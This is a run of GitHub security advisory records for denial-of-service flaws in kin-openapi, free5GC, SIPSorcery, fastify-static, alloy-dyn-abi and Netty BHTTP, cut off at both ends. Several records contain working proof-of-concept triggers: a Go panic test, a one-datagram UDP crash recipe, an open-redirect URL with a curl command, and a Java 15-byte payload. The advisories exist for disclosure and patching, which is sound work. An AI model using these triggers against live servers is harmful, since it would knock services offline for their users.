http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` \u2192 HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded \u2014 `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).",
"id": "GHSA-p6wj-qrr4-pgh5",
"modified": "2026-10-15T20:14:54Z",
"published": "2026-10-15T20:14:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97394"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items"
}
GHSA-P9HG-PQ3Q-V9GV
Vulnerability from github – Published: 2026-03-18 20:11 – Updated: 2026-03-20 21:24Impact
This is an Improper Input Validation vulnerability with Denial of Service and Injection implications.
- Security Impact: A remote attacker can inject null bytes (URL-encoded as %00) into the supi path parameter of the UDM's Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go's net/url package with the error "invalid control character in URL", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks.
- Functional Impact: When the supi parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go's URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request.
- Affected Parties: All deployments of free5GC v4.0.1 using the UDM Nudm_SDM service with endpoints that include path parameters (e.g., /nudm-sdm/v2/{supi}/am-data).
Patches
Yes, the issue has been patched.
The fix is implemented in PR free5gc/udm#79.
Users should upgrade to the next release of free5GC that includes this commit.
Workarounds
There is no direct workaround at the application level. The recommendation is to apply the provided patch or implement API gateway-level validation to reject requests containing null bytes in path parameters before they reach UDM.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/udm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33191"
],
"database_specific": {
"cwe_ids": [
"CWE-158",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:11:15Z",
"nvd_published_at": "2026-03-20T08:16:12Z",
"severity": "HIGH"
},
"details": "**Impact** \nThis is an Improper Input Validation vulnerability with Denial of Service and Injection implications. \n- **Security Impact**: A remote attacker can inject null bytes (URL-encoded as `%00`) into the `supi` path parameter of the UDM\u0027s Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go\u0027s `net/url` package with the error \"invalid control character in URL\", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks. \n- **Functional Impact**: When the `supi` parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go\u0027s URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request. \n- **Affected Parties**: All deployments of free5GC v4.0.1 using the UDM Nudm_SDM service with endpoints that include path parameters (e.g., `/nudm-sdm/v2/{supi}/am-data`).\n\n**Patches** \nYes, the issue has been patched. \nThe fix is implemented in PR free5gc/udm#79. \nUsers should upgrade to the next release of free5GC that includes this commit.\n\n**Workarounds** \nThere is no direct workaround at the application level. The recommendation is to apply the provided patch or implement API gateway-level validation to reject requests containing null bytes in path parameters before they reach UDM.",
"id": "GHSA-p9hg-pq3q-v9gv",
"modified": "2026-03-20T21:24:27Z",
"published": "2026-03-18T20:11:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-p9hg-pq3q-v9gv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33191"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/udm/pull/79"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/udm/commit/88de9fa74a1b3f3522e53b4cfa2d184712ffa4ee"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/udm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "free5GC UDM vulnerable to null byte injection in URL path parameters causing 500 Internal Server Error"
}
GHSA-PFVM-W89X-94JW
Vulnerability from github – Published: 2026-08-12 19:31 – Updated: 2026-08-12 19:31Summary
TurnServer.ReceiveUdpAsync places its generic catch (Exception) OUTSIDE the while receive loop, and Start() launches the loop fire-and-forget with no supervision or restart. A single pre-authentication UDP datagram whose STUN header first byte is in 0x80–0xFF causes STUNHeader.ParseSTUNHeader to throw ApplicationException, which unwinds past the loop and terminates it. The TURN UDP relay is then dead for ALL clients until the process is restarted.
Root Cause
src/SIPSorcery/net/TURN/TurnServer.cs:
- ReceiveUdpAsync (:555-577): the inner try (:562-567) wraps only _udpSocket.ReceiveAsync(); HandleUdpDatagram(result.Buffer, result.RemoteEndPoint) (:569) is inside the while body but OUTSIDE that inner try. The generic catch (Exception ex) (:573) is lexically OUTSIDE the while.
- Start() does _ = ReceiveUdpAsync(); (:381) — fire-and-forget, no restart.
- HandleUdpDatagram (:579) calls STUNMessage.ParseSTUNMessage(data, data.Length) (:600) for any non-ChannelData datagram; ParseSTUNMessage (STUNMessage.cs:94) has no try/catch.
Impact
ApplicationException propagates out of the while, is caught at :573, logged, and the method returns. _running remains true but nothing re-invokes ReceiveUdpAsync → TURN UDP relay permanently unavailable for all clients (whole-server DoS). Pre-authentication: STUN parsing precedes any TURN allocation/credential check.
Proof of Concept
Send one UDP datagram to the TURN port (default 3478) with first byte 0x80 (e.g. 80 00 00 00). 0x80 & 0xC0 = 0x80 ≠ 0x40 → not ChannelData → ParseSTUNMessage → ParseSTUNHeader executes if ((Array[startIndex] & 0xC0) != 0) throw new ApplicationException(...) (STUNHeader.cs:169-172); 0x80 & 0xC0 = 0x80 ≠ 0 → throws.
Attack Chain
- Entry: one UDP datagram to the TURN port, first byte
0x80–0xFF. Guard: ChannelData branch requires(data[0] & 0xC0) == 0x40(:583). Bypass:0x80 & 0xC0 = 0x80 ≠ 0x40→ falls through toParseSTUNMessage(:600). - Sink:
STUNMessage.ParseSTUNMessage→STUNHeader.ParseSTUNHeader(STUNHeader.cs:169-172) throwsApplicationException. Guard: none before the throw;ParseSTUNMessagehas no try/catch. Bypass:0x80 & 0xC0 = 0x80 ≠ 0→ throws. - Impact: exception unwinds past the
whileintocatch(Exception)at :573 → logged → method returns → loop exits. Guard: none — no restart (Start():381 fire-and-forget). Bypass: N/A. TURN UDP relay dead for all clients until process restart.
Bypass Evidence
- Loop/catch structure: catch at TurnServer.cs:573 is outside the
whileat :559;HandleUdpDatagramat :569 is outside the inner try (:562-567). - Unguarded
ParseSTUNMessageat :600; throw at STUNHeader.cs:169-172. - Fire-and-forget start at :381 with no restart in
Start(). TurnServerConfig.ListenAddressdefaults toIPAddress.Loopback(:42), but a functioning TURN server must bind a routable address to serve clients, so real deployments are exposed. Non-default config narrows the vulnerable population, not the attack difficulty → AC:L.
Affected Versions
nuget:SIPSorcery <= 10.0.13 (TurnServer component present since 10.0.5; verified on release tag v10.0.13 and HEAD).
Dedup
NOT a duplicate of GHSA-28gm-jrmw-xx93 (CVE-2026-54632), which covers the client RTP/ICE socket (UdpReceiver/RTPChannel). TurnServer is a distinct shipped RFC 5766 server component with its own loop and fix location.
Suggested Fix
Wrap HandleUdpDatagram in a per-datagram try/log-and-continue INSIDE the while (matching the drop-and-continue intent of fix bdb76cb), and/or add loop supervision/restart.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.13"
},
"package": {
"ecosystem": "NuGet",
"name": "SIPSorcery"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.5"
},
{
"fixed": "10.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-12T19:31:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n`TurnServer.ReceiveUdpAsync` places its generic `catch (Exception)` OUTSIDE the `while` receive loop, and `Start()` launches the loop fire-and-forget with no supervision or restart. A single pre-authentication UDP datagram whose STUN header first byte is in `0x80\u20130xFF` causes `STUNHeader.ParseSTUNHeader` to throw `ApplicationException`, which unwinds past the loop and terminates it. The TURN UDP relay is then dead for ALL clients until the process is restarted.\n\n## Root Cause\n`src/SIPSorcery/net/TURN/TurnServer.cs`:\n- `ReceiveUdpAsync` (:555-577): the inner `try` (:562-567) wraps only `_udpSocket.ReceiveAsync()`; `HandleUdpDatagram(result.Buffer, result.RemoteEndPoint)` (:569) is inside the `while` body but OUTSIDE that inner try. The generic `catch (Exception ex)` (:573) is lexically OUTSIDE the `while`.\n- `Start()` does `_ = ReceiveUdpAsync();` (:381) \u2014 fire-and-forget, no restart.\n- `HandleUdpDatagram` (:579) calls `STUNMessage.ParseSTUNMessage(data, data.Length)` (:600) for any non-ChannelData datagram; `ParseSTUNMessage` (STUNMessage.cs:94) has no try/catch.\n\n## Impact\n`ApplicationException` propagates out of the `while`, is caught at :573, logged, and the method returns. `_running` remains true but nothing re-invokes `ReceiveUdpAsync` \u2192 TURN UDP relay permanently unavailable for all clients (whole-server DoS). Pre-authentication: STUN parsing precedes any TURN allocation/credential check.\n\n## Proof of Concept\nSend one UDP datagram to the TURN port (default 3478) with first byte `0x80` (e.g. `80 00 00 00`). `0x80 \u0026 0xC0 = 0x80 \u2260 0x40` \u2192 not ChannelData \u2192 `ParseSTUNMessage` \u2192 `ParseSTUNHeader` executes `if ((Array[startIndex] \u0026 0xC0) != 0) throw new ApplicationException(...)` (STUNHeader.cs:169-172); `0x80 \u0026 0xC0 = 0x80 \u2260 0` \u2192 throws.\n\n## Attack Chain\n1. Entry: one UDP datagram to the TURN port, first byte `0x80\u20130xFF`. Guard: ChannelData branch requires `(data[0] \u0026 0xC0) == 0x40` (:583). Bypass: `0x80 \u0026 0xC0 = 0x80 \u2260 0x40` \u2192 falls through to `ParseSTUNMessage` (:600).\n2. Sink: `STUNMessage.ParseSTUNMessage` \u2192 `STUNHeader.ParseSTUNHeader` (STUNHeader.cs:169-172) throws `ApplicationException`. Guard: none before the throw; `ParseSTUNMessage` has no try/catch. Bypass: `0x80 \u0026 0xC0 = 0x80 \u2260 0` \u2192 throws.\n3. Impact: exception unwinds past the `while` into `catch(Exception)` at :573 \u2192 logged \u2192 method returns \u2192 loop exits. Guard: none \u2014 no restart (`Start()` :381 fire-and-forget). Bypass: N/A. TURN UDP relay dead for all clients until process restart.\n\n## Bypass Evidence\n- Loop/catch structure: catch at TurnServer.cs:573 is outside the `while` at :559; `HandleUdpDatagram` at :569 is outside the inner try (:562-567).\n- Unguarded `ParseSTUNMessage` at :600; throw at STUNHeader.cs:169-172.\n- Fire-and-forget start at :381 with no restart in `Start()`.\n- `TurnServerConfig.ListenAddress` defaults to `IPAddress.Loopback` (:42), but a functioning TURN server must bind a routable address to serve clients, so real deployments are exposed. Non-default config narrows the vulnerable population, not the attack difficulty \u2192 AC:L.\n\n## Affected Versions\n`nuget:SIPSorcery \u003c= 10.0.13` (TurnServer component present since 10.0.5; verified on release tag v10.0.13 and HEAD).\n\n## Dedup\nNOT a duplicate of GHSA-28gm-jrmw-xx93 (CVE-2026-54632), which covers the client RTP/ICE socket (`UdpReceiver`/`RTPChannel`). `TurnServer` is a distinct shipped RFC 5766 server component with its own loop and fix location.\n\n## Suggested Fix\nWrap `HandleUdpDatagram` in a per-datagram try/log-and-continue INSIDE the `while` (matching the drop-and-continue intent of fix bdb76cb), and/or add loop supervision/restart.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-pfvm-w89x-94jw",
"modified": "2026-08-12T19:31:48Z",
"published": "2026-08-12T19:31:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sipsorcery-org/sipsorcery/security/advisories/GHSA-pfvm-w89x-94jw"
},
{
"type": "WEB",
"url": "https://github.com/sipsorcery-org/sipsorcery/commit/ccb0b5a845efa2fb131fd00de4f5321bae627f29"
},
{
"type": "PACKAGE",
"url": "https://github.com/sipsorcery-org/sipsorcery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SIPSorcery: Malformed UDP datagram crashes TurnServer receive loop with no restart, disabling TURN UDP relay for all clients (DoS)"
}
GHSA-PGH6-M65R-2RHQ
Vulnerability from github – Published: 2021-10-12 16:04 – Updated: 2021-10-21 14:57Impact
A redirect vulnerability in the fastify-static module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash // followed by a domain: http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e.
A DOS vulnerability is possible if the URL contains invalid characters curl --path-as-is "http://localhost:3000//^/.."
The issue shows up on all the fastify-static applications that set redirect: true option. By default, it is false.
Patches
The issue has been patched in fastify-static@4.4.1
Workarounds
If updating is not an option, you can sanitize the input URLs using the rewriteUrl server option.
References
- Bug founder: drstrnegth
- hackerone Report
For more information
If you have any questions or comments about this advisory: * Open an issue in fastify-static * Contact the security team
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fastify-static"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.4"
},
{
"fixed": "4.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22964"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-11T18:38:24Z",
"nvd_published_at": "2021-10-14T15:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e`.\n\nA DOS vulnerability is possible if the URL contains invalid characters `curl --path-as-is \"http://localhost:3000//^/..\"`\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.4.1`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1361804)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n",
"id": "GHSA-pgh6-m65r-2rhq",
"modified": "2021-10-21T14:57:14Z",
"published": "2021-10-12T16:04:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-static/security/advisories/GHSA-pgh6-m65r-2rhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22964"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-static/commit/c31f17d107cb19a0e96733c80a9abf16c56166d4"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1361804"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-static"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "DOS and Open Redirect with user input"
}
GHSA-PGP9-98JM-WWQ2
Vulnerability from github – Published: 2025-10-15 17:27 – Updated: 2025-10-15 19:14Impact
An uncaught panic triggered by malformed input to alloy_dyn_abi::TypedData could lead to a denial-of-service (DoS) via eip712_signing_hash().
Software with high availability requirements such as network services may be particularly impacted. If in use, external auto-restarting mechanisms can partially mitigate the availability issues unless repeated attacks are possible.
Patches
The vulnerability was patched by adding a check to ensure the element is not empty before accessing its first element; an error is returned if it is empty. The fix is included in version v1.4.1 and backported to v0.8.26.
Workarounds
There is no known workaround that mitigates the vulnerability. Upgrading to a patched version is the recommended course of action.
Reported by
Christian Reitter & Zeke Mostov from Turnkey
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "alloy-dyn-abi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "alloy-dyn-abi"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62370"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:27:12Z",
"nvd_published_at": "2025-10-15T16:15:36Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAn uncaught panic triggered by malformed input to `alloy_dyn_abi::TypedData` could lead to a denial-of-service (DoS) via `eip712_signing_hash()`.\n\nSoftware with high availability requirements such as network services may be particularly impacted. If in use, external auto-restarting mechanisms can partially mitigate the availability issues unless repeated attacks are possible.\n\n### Patches\n\nThe vulnerability was patched by adding a check to ensure the element is not empty before accessing its first element; an error is returned if it is empty. The fix is included in version [`v1.4.1`](https://crates.io/crates/alloy-dyn-abi/1.4.1) and backported to [`v0.8.26`](https://crates.io/crates/alloy-dyn-abi/0.8.26).\n\n### Workarounds\n\nThere is no known workaround that mitigates the vulnerability. Upgrading to a patched version is the recommended course of action.\n\n### Reported by\n\nChristian Reitter \u0026 Zeke Mostov from [Turnkey](https://www.turnkey.com/)",
"id": "GHSA-pgp9-98jm-wwq2",
"modified": "2025-10-15T19:14:37Z",
"published": "2025-10-15T17:27:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alloy-rs/core/security/advisories/GHSA-pgp9-98jm-wwq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62370"
},
{
"type": "WEB",
"url": "https://github.com/alloy-rs/core/commit/7823e9af8c20e9fcfb5360f5eafd891c457ebccf"
},
{
"type": "WEB",
"url": "https://crates.io/crates/alloy-dyn-abi/0.8.26"
},
{
"type": "WEB",
"url": "https://crates.io/crates/alloy-dyn-abi/1.4.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/alloy-rs/core"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0073.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "alloy-dyn-abi has DoS vulnerability on `alloy_dyn_abi::TypedData` hashing"
}
GHSA-PGRF-4654-3GQ8
Vulnerability from github – Published: 2026-08-20 18:43 – Updated: 2026-08-20 18:43Summary
io.netty.incubator:netty-incubator-codec-bhttp uses attacker-controlled Binary HTTP variable-length integers as long values but accumulates them into int offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked ArrayIndexOutOfBoundsException / IndexOutOfBoundsException from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose BinaryHttpParser / BinaryHttpDecoder to untrusted input.
Details
In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, several parser paths store cumulative byte offsets in int sumBytes and then add attacker-controlled long lengths using compound assignment. In Java, int += long narrows the result back to int, so a length such as 2^31 wraps sumBytes negative.
Primary request-control-data path:
readRequestHead(...)declaresint sumBytes = 0atBinaryHttpParser.java:386.- It reads
methodLengthas alongatBinaryHttpParser.java:394. - It performs
sumBytes += methodLengthatBinaryHttpParser.java:395, narrowing the result toint. - If
methodLengthis2^31,sumByteswraps negative and bypassesif (sumBytes >= in.readableBytes()) return nullatBinaryHttpParser.java:396-398. - The parser then computes
schemeLengthIdx = in.readerIndex() + sumBytesand callsin.getByte(schemeLengthIdx)atBinaryHttpParser.java:401-402, producing a negative index exception.
The same pattern is present in header parsing:
readFieldLine(...)usesint sumBytesand addslong nameLength/long valueLengthatBinaryHttpParser.java:659-680.valueLengthIdx = nameIdx + (int) nameLengthatBinaryHttpParser.java:674can also overflow.
getIndeterminateLength(...) similarly uses int sumBytes and long possibleTerminator at BinaryHttpParser.java:544-553.
Proof of concept
Safe local verification performed in this repository. After compiling codec-bhttp, the following minimal verifier uses a 15-byte payload:
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
public final class VerifyBhttpOverflow {
public static void main(String[] args) {
byte[] payload = new byte[] {
0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,
0x47, 0x45, 0x54, 0x58, 0x58, 0x58
};
ByteBuf input = Unpooled.wrappedBuffer(payload);
try {
new BinaryHttpParser(8192).parse(input, false);
System.out.println("returned");
} catch (Throwable t) {
System.out.println(t.getClass().getName());
System.out.println(t.getMessage());
}
}
}
Payload interpretation:
00: known-length request frame indicator.c000000080000000: valid 8-byte varint encoding of0x80000000(2^31) as the method length.474554585858: a few dummy bytes so the parser proceeds far enough to compute the next index.
Observed result:
java.lang.ArrayIndexOutOfBoundsException
Index -2147483639 out of bounds for length 15
The parser should reject the malformed/incomplete message with a controlled decoder exception or return null awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.
Impact
A remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.
Suggested remediation
- Use
longfor all cumulative byte counts derived from protocol lengths. - Before converting any protocol length to
int, verify it is non-negative, no larger thanInteger.MAX_VALUE, and no larger than available readable bytes and configured limits. - Replace
sumBytes >= in.readableBytes()checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths. - Throw a controlled
CorruptedFrameException/TooLongFrameExceptionfor invalid or unsupported lengths. - Add regression tests for 8-byte varint lengths at and above
Integer.MAX_VALUEin request control data, response control data, known and indeterminate field sections, and field lines.
References
codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553- RFC 9292: Binary Representation of HTTP Messages
- RFC 9000 variable-length integer encoding
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.22.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty.incubator:netty-incubator-codec-bhttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.23.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61799"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-248",
"CWE-681"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T18:43:21Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`io.netty.incubator:netty-incubator-codec-bhttp` uses attacker-controlled Binary HTTP variable-length integers as `long` values but accumulates them into `int` offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked `ArrayIndexOutOfBoundsException` / `IndexOutOfBoundsException` from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose `BinaryHttpParser` / `BinaryHttpDecoder` to untrusted input.\n\n## Details\n\nIn `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java`, several parser paths store cumulative byte offsets in `int sumBytes` and then add attacker-controlled `long` lengths using compound assignment. In Java, `int += long` narrows the result back to `int`, so a length such as `2^31` wraps `sumBytes` negative.\n\nPrimary request-control-data path:\n\n- `readRequestHead(...)` declares `int sumBytes = 0` at `BinaryHttpParser.java:386`.\n- It reads `methodLength` as a `long` at `BinaryHttpParser.java:394`.\n- It performs `sumBytes += methodLength` at `BinaryHttpParser.java:395`, narrowing the result to `int`.\n- If `methodLength` is `2^31`, `sumBytes` wraps negative and bypasses `if (sumBytes \u003e= in.readableBytes()) return null` at `BinaryHttpParser.java:396-398`.\n- The parser then computes `schemeLengthIdx = in.readerIndex() + sumBytes` and calls `in.getByte(schemeLengthIdx)` at `BinaryHttpParser.java:401-402`, producing a negative index exception.\n\nThe same pattern is present in header parsing:\n\n- `readFieldLine(...)` uses `int sumBytes` and adds `long nameLength` / `long valueLength` at `BinaryHttpParser.java:659-680`.\n- `valueLengthIdx = nameIdx + (int) nameLength` at `BinaryHttpParser.java:674` can also overflow.\n\n`getIndeterminateLength(...)` similarly uses `int sumBytes` and `long possibleTerminator` at `BinaryHttpParser.java:544-553`.\n\n## Proof of concept\n\nSafe local verification performed in this repository. After compiling `codec-bhttp`, the following minimal verifier uses a 15-byte payload:\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.incubator.codec.bhttp.BinaryHttpParser;\n\npublic final class VerifyBhttpOverflow {\n public static void main(String[] args) {\n byte[] payload = new byte[] {\n 0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,\n 0x47, 0x45, 0x54, 0x58, 0x58, 0x58\n };\n ByteBuf input = Unpooled.wrappedBuffer(payload);\n try {\n new BinaryHttpParser(8192).parse(input, false);\n System.out.println(\"returned\");\n } catch (Throwable t) {\n System.out.println(t.getClass().getName());\n System.out.println(t.getMessage());\n }\n }\n}\n```\n\nPayload interpretation:\n\n- `00`: known-length request frame indicator.\n- `c000000080000000`: valid 8-byte varint encoding of `0x80000000` (`2^31`) as the method length.\n- `474554585858`: a few dummy bytes so the parser proceeds far enough to compute the next index.\n\nObserved result:\n\n```text\njava.lang.ArrayIndexOutOfBoundsException\nIndex -2147483639 out of bounds for length 15\n```\n\nThe parser should reject the malformed/incomplete message with a controlled decoder exception or return `null` awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.\n\n## Impact\n\nA remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.\n\n## Suggested remediation\n\n- Use `long` for all cumulative byte counts derived from protocol lengths.\n- Before converting any protocol length to `int`, verify it is non-negative, no larger than `Integer.MAX_VALUE`, and no larger than available readable bytes and configured limits.\n- Replace `sumBytes \u003e= in.readableBytes()` checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths.\n- Throw a controlled `CorruptedFrameException` / `TooLongFrameException` for invalid or unsupported lengths.\n- Add regression tests for 8-byte varint lengths at and above `Integer.MAX_VALUE` in request control data, response control data, known and indeterminate field sections, and field lines.\n\n## References\n\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402`\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680`\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553`\n- RFC 9292: Binary Representation of HTTP Messages\n- RFC 9000 variable-length integer encoding",
"id": "GHSA-pgrf-4654-3gq8",
"modified": "2026-08-20T18:43:21Z",
"published": "2026-08-20T18:43:21Z",
"references": [
{
"type": "WEB",
